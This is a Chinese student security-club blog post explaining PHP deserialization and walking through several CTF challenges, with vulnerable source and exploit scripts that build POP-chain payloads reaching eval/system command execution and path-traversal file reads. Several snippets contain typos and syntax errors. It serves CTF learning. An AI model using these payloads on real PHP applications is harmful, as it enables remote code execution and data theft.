皮蛋厂的学习日记 | 2022.11.26 2021级 Will1am php反序列化

admin 2023年1月17日19:15:57安全文章评论4 views17097字阅读56分59秒阅读模式

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~

2021级 Will1am | 用几道题wake up我的反序列化


  • 2021级 Will1am | 用几道题weke up我的反序列化

    • 前言

    • 序列化和反序列化

    • PHP魔术方法

    • Warmup[l3m0n的pop]

    • [NISACTF 2022]baby serialize

    • [第五空间 2021]pklovecloud

    • 一道题

    • ezunseri-西华大学

    • poppop-中国人民公安大学


前言

取证和大数据的比赛接近尾声了,终于有时间来把我的Web捡起来了,那就从反序列化开始吧,wakeup。

序列化和反序列化

为方便存储和传输对象,将对象转化为字符串的操作叫做序列化( serialize() ),将所转化的字符串恢复成对象的过程叫做反序列化(unserialize() )。

举个例子

<?php
Class test{
    public $a'1';
    public $bb= 2;
    public $ccc= True;
}

$r= new test();
echo(serialize($r));
# O:4:"test":3:{s:1:"a";s:1:"1";s:2:"bb";i:2;s:3:"ccc";b:1;}

$array_t= array("a"=>"1","bb"=>"2","ccc"=>"3");
echo(serialize($array_t));
# a:3:{s:1:"a";s:1:"1";s:2:"bb";s:1:"2";s:3:"ccc";s:1:"3";}
皮蛋厂的学习日记 | 2022.11.26 2021级 Will1am php反序列化
皮蛋厂的学习日记 | 2022.11.26 2021级 Will1am php反序列化

PHP魔术方法

方法名

调用条件

__construct()

在创建对象时候初始化对象,一般用于对变量赋初值。创建一个新的类时,自动调用该方法具有构造函数的类在创建新对象的时候,回调此方法

__destruct()

和构造函数相反,当对象所在函数调用完毕后执行.即当一个类被销毁时自动调用该方法反序列化的时候,或者对象销毁的时候调用

__toString()

当对象被当做一个字符串使用时调用把类当成字符串的时候调用,一般在echo处生效

__sleep()

当调用serialize()函数时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这就允许对象在被序列化之前做任何清除操作序列化的时候调用

__wakeup()

反序列化恢复对象之前调用该方法。当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数反序列化的时候调用

__invoke()

把一个实例对象当作函数使用时被调用当尝试以调用函数的方式调用对象的时候,就会调用该方法

__call()

调用不可访问或不存在的方法时被调用在对象中调用一个不可访问的方法的时候,会被执行

__callStatic()

调用不可访问或不存在的静态方法时自动调用

__get()

在调用私有属性的时候会自动执行读取不可访问或者不存在的属性的时候,进行赋值

__isset()

在不可访问的属性上调用 isset() 或 empty() 时触发

__set()

当给不可访问或不存在属性赋值时被调用在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

__unset()

在不可访问的属性上使用 unset() 时触发

__set_state()

当调用 var_export() 导出类时,此静态方法被调用。用 __set_state() 的返回值做为 var_export() 的返回值

__clone()

进行对象clone时被调用,用来调整对象的克隆行为

__debuginfo()

当调用 var_dump() 打印对象时被调用(当你不想打印所有属性),适用于PHP5.6版本

Warmup[l3m0n的pop]

一个很简单的链子,找找记忆

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['d']);

危险的命令执行方法eval不在魔术方法中,在evil类中。但是魔术方法__construct()是调用normal类,__destruct()在程序结束时会去调用normal类中的action()方法。而我们最终的目的是去调用evil类中的action()方法,并伪造evil类中的变量$data,达成任意代码执行的目的。这样的话可以尝试去构造POP利用链,让魔术方法__construct()去调用evil这个类,变量$data赋予恶意代码,比如php探针phpinfo(),这样就相当于执行<?php eval("phpinfo();")?>

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new evil();
    }
}
class exil {
    private $data = "phpinfo();";
}
$a = new lemon();
echo serialize($a);
皮蛋厂的学习日记 | 2022.11.26 2021级 Will1am php反序列化

[NISACTF 2022]baby serialize

用这道题习惯下反推的思维

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name$value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

既然是反推,那我们就从可控参数入手

eval反推到__invoke

这里先看到eval,而eval中的参数是可控的

    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

可以初步猜测为代码执行,这里的eval在__invoke中

__invoke魔术方法是对象被当做函数进行调用的时候所触发

反推看哪里用到了类似$a()这种的。

__invoke反推__toString

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

在Ilovetxw类的toString方法中,返回了return $bb;

__ToString方法,是对象被当做字符串的时候进行自动调用

下一步很显然是找一个字符串

__toString反推到__set

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name$value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

这里用了个函数来搞字符串

皮蛋厂的学习日记 | 2022.11.26 2021级 Will1am php反序列化

可以看到,会把字符串转换为小写。这里就可以存在把对象当做字符串进行操作。

从__set反推到__call

__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用

这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];

再找fun

class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }
class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

所以链子思路就是

__invoke --> __toString --> __set --> __call --> __wakeup
  NISA   -->  Ilovetxw  -->  four -->Ilovetxw-->TianXiWei

EXP

这里进行常规大小写转换,就可以绕过(第五行的Sys….)

<?php
show_source('2.php');
class NISA{
    public $fun;
    public $txw4ever='System("tac /fllllllaaag");';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}
$a=new tianxiwei;
$a->ext=new ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new ilovetxw;
$a->ext->huang->a->su=new nisa;
echo urlencode(serialize($a));

[第五空间 2021]pklovecloud

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()   
    {      
        return "Pk very safe^.^";  
    }  


class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {  
        $this->cinder = new pkshow;
    }  
    function __toString()  
    {      
        if (isset($this->cinder))  
            return $this->cinder->echo_name();  
    }  
}  

class ace
{  
    public $filename;   
    public $openstack;
    public $docker
    function echo_name()  
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))     
            {          
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"
            }  
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData

else 

    highlight_file(__file__); 
}
?>

依然是用倒推法来进行解题,这里没有找到eval之类的可控参数,但是有file_get_contents函数的使用,这个可以用来读取文件,也就是可以用来读取flag.php,所以我们就用这个函数来反推。

class ace
{  
    public $filename;   
    public $openstack;
    public $docker
    function echo_name()  
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))   
            {        
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"
            }  
        }:
    }  

可以看到,如果想调用file_get_contents的话就必须满足8-10的条件,才能触发echo_name()

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {  
        $this->cinder = new pkshow;
    }  
    function __toString()  
    {    
        if (isset($this->cinder))  
            return $this->cinder->echo_name();  
    }  
}  

echo_name()在acp中的__toString中触发,所以我们就如要找到如何调用__toString这个函数,同时这里使用isset函数来检测cinder是不是空的,正好我们要查看的flag.php可以作为一个字符串来查询,那我们就需要acp $this->cinder = new ace();,同时可以看到acp实例化时会自动调用 __construct(),所以要想触发 __toString() 就要使acp$this->cinder=对象,正好对应了我们上面分析的acp $this->cinder = new ace();

所以分析出来的pop链如下

acp->__construct() => acp->__toString() => ace->echo_name() => file_get_contents(flag.php)

但问题也出现了,从未出现的$heat变量应该如何处理呢?还有unserialize($this->docker)

那么如何满足$this->openstack->neutron === $this->openstack->nova就成为了关键。

在官方的WP中直接传入了一个'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}'

这就是关键了我们用刚开始的那个表来对照分析一下

皮蛋厂的学习日记 | 2022.11.26 2021级 Will1am php反序列化

出现了一个R:2,这玩意代表什么呢?

测试一下当两个值都未赋值时是否能通过===

<?php

$a = $heat;
$b = $c;
echo $a.'--';
echo '<br>';
echo count($a);
echo '<br>';

if($a===$b)
    echo 'Data type and value both are same';
else
    echo 'Data type or value are different';

?>
皮蛋厂的学习日记 | 2022.11.26 2021级 Will1am php反序列化

类型和值大小都是相同的

搜百度得到R代表pointer reference(指针)

构造个类且序列化验证这个指针到底是干啥的

<?php

class Test{
    public $m;   
    public $n;
    public $o;
    private $q;
    protected $p;
    function __construct($n,$o,$p,$q){
        $this->m = $m
        $this->n = $n
        $this->o = $o
        $this->p = $p;
        $this->q = $q;
    }
}

$Will1am = new Test(1,1,'1',true);
$Will1am->m = &$Will1am->n; //声明变量m,引用自变量n
echo (serialize($Will1am));

?>
皮蛋厂的学习日记 | 2022.11.26 2021级 Will1am php反序列化

不难分析出,R 后的数字代表了要引用其他变量的变量所处的位置。当 m 引用 n 时为 R:2,当 o 引用 n 时 为 R:3。但是 m 是第一个变量,为什么会从 2 开始呢? R:1 又代表什么呢?

猜测 R:1 在这里代表的是$payload = &$payload->nova,即要引用其他变量的变量是该类实例化的对象本身。

然后看了看别的wp,发现根本不用在这里纠结…..

if($this->openstack->neutron === $this->openstack->nova)

这里可以使用NULL===NULL进行绕过

$this->openstack = unserialize($this->docker);

这里当docker为空时,可以绕过。

<?php
error_reporting(0);
$b='';
var_dump(unserialize($b));
var_dump($b->a);
if($b->a===$b->b)
{
    echo 'cool';
}
else echo 'nono';
?>
皮蛋厂的学习日记 | 2022.11.26 2021级 Will1am php反序列化

所以我们EXP也可以是这样的

<?php
class acp 
{   
    public $cinder;  
    public $neutron;
    public $nova;
}
class ace
{  
    public $filename;   
    public $openstack;
    public $docker;
}
$b=new acp;
$c=new ace;
$b->cinder=$c;
$c->docker='';
$c->filename='../nssctfasdasdflag';
echo urlencode(serialize($b));

一道题

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$a = $_GET['string'];
unserialize($a);
?>

还是利用反推的思路

首先得知道从哪才能读flag,很显然

class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}

这里面没有魔术方法的调用,我们需要去找找哪里调用了这个方法

class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}

这里通过__toString()来对get_flag()进行调用,调用条件是把string1当成字符串使用,因为调用的是参数str1的方法,所以需要把string1::str1赋值为类GetFlag的对象

接着去找找字符串

class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}

这里的__invoke()方法中执行了一个字符串拼接,所以我们需要把func当成函数制动调用__invoke()然后把func::$mod1赋值为string1的对象与func::$mod2拼接。

然后找找哪里用了调用了函数

class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}

这里对$s1进行了调用,需要把funct::$mod1赋值为func类的对象(因为调用invoke需要把func当成函数调用),又因为函数调用在__call()方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;

class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}

Call中的test1方法中存在$this->mod1->test2();,需要把Call::$mod1赋值为funct的对象,让__call自动调用。

class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}

查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把start_gg::$mod1赋值为start_gg类的对象,等待__destruct()自动调用。

EXP

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new Call();//把$mod1赋值为Call类对象
        }
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new funct();//把 $mod1赋值为funct类对象
        }
        public function test1()
        {
                $this->mod1->test2();
        }
}

class funct
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new func();//把 $mod1赋值为func类对象

        }
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new string1();//把 $mod1赋值为string1类对象

        }
        public function __invoke()
        {    
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public function __construct()
        {
                $this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象      
        }
        public function __toString()
        {    
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$b = new start_gg;//构造start_gg类对象$b
echo urlencode(serialize($b))."<br />";//显示输出url编码后的序列化对

ezunseri-西华大学

<?php
highlight_file(__FILE__);
error_reporting(0);

class Exec
{
    public $content;

    public function execute($var){
        eval($this->content);
    }

    public function __get($name){

        echo $this->content;

    }

    public function __invoke(){
        $content = $this->execute($this->content);
    }

    public function __wakeup()
    {
        $this->content = "";
        die("1!5!");
    }

}


class Test
{
    public $test;
    public $key;

    public function __construct(){

        $this->test = "test123";
    }

    public function __toString(){
        $name = $this->test;
        $name();
    }



class Login
{
    private $name;
    public $code = " JUST FOR FUN";
    public $key;

    public function __construct($name="UNCTF"){

        $this->name = $name;
    }

    public function show(){

        echo $this->name.$this->code;
    }

    public function __destruct(){

        if($this->code = '3.1415926'){
            return $this->key->name;
        }
    }

}


if(isset($_GET['pop'])){

    $a = unserialize($_GET[pop]);
}else{

   $a = new Login();
   $a->show();
}

还是倒着分析,不难看出最终落脚点是evalevalexecute中,然后可以发现execute__invoke()中,然后我们进一步寻找是由有函数调用,在class Test__toString()中发现调用了$name,然后我们寻找echo等可以返回字符串的函数,在class Exec中的__getclass Login中的show()都发现了echo,但需要借用__get来访问class Login中的private,即private $name;这样可以调用class Login中的__destruct()作为链子的开始。

EXP

<?php
highlight_file(__FILE__);
error_reporting(0);

class Exec
{
public $content;//要执行的命令

/*public function execute($var){
eval($this->content);// 命令执行点
}

public function __get($name){

echo $this->content;

}

public function __invoke(){
$content = $this->execute($this->content); //POP 终点
}

public function __wakeup()
{
$this->content = "";
die("1!5!");// 要绕过这里的 wakeup
}*/
}


class Test
{
public $test;
public $key;

/*public function __construct(){
$this->test = "test123";
}

public function __toString(){
$name = $this->test;
$name();
}*/



class Login
{
private $name;
public $code = " JUST FOR FUN";
public $key;

/*public function __construct($name="UNCTF"){

$this->name = $name;
}

public function show(){

echo $this->name.$this->code;
}

public function __destruct(){
if($this->code = '3.1415926'){
return $this->key->name;// POP 入口点 从 key 中调用了 get 参数,可以触发 get 魔术方法
}
}*/

}

$exec1 = new Exec();
$exec2 = new Exec();
$test = new Test();
$login = new Login();

$login -> code = "3.1415926";
$login -> key = $exec1;
$exec1 -> content = $test;
$test -> test = $exec2
$exec2 -> content = "system(tac f*);";

$out = urlencode(serialize($login));
echo $out;

/*if(isset($_GET['pop'])){
$a = unserialize($_GET[pop]);
}else{
$a = new Login();
$a->show();
}*/

poppop-中国人民公安大学

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);

    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    public $key;
    function __destruct(){
        echo $this->key;
    }
}
class C{
    private $key2;
    function __toString()
    {
        return $this->key2->abab();
    }
}


if(isset($_POST['poc'])) {
    unserialize($_POST['poc']);
}else{
    highlight_file(__FILE__);
}

还是倒着分析利用链,可以看到evalclass A中,执行函数就是我们的终点,下面就是如何调用这个__call,我们再class C中可以看到abab()是之前没有出现过的,是没法直接调用的,所以就会触发__call。在class C中存在方法__toString(),当有字符串时会被调用,那么自然关注到了class B中的echo,因为它会返回一个字符串,就可以调用__toString()了,其方法调用为__destruct(),在执行unserialize的时候会被调用,也就是链子的开头。

所以我们的pop链就是这样的

__destruct() -->  __toString()  -->  __call
B            -->  C             -->    A

EXP

<?php
class A{
    public $code
    function __call($method,$args){
        eval($this->code);
    }
}

class B{
    public $key;
    function __destruct(){
        echo $this->key;
    }
}
class C{
    private $key2;
    function __construct(){
    $this->key2=new A();
}
    function __toString()
    {
        return $this->key2->abab();
    }
}
$d = new B();
$e = new C();
$f = new A();
$d -> key = $e
$f -> code = phpinfo();


原文始发于微信公众号(山警网络空间安全实验室):皮蛋厂的学习日记 | 2022.11.26 2021级 Will1am php反序列化

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月17日19:15:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  皮蛋厂的学习日记 | 2022.11.26 2021级 Will1am php反序列化 http://cn-sec.com/archives/1427649.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: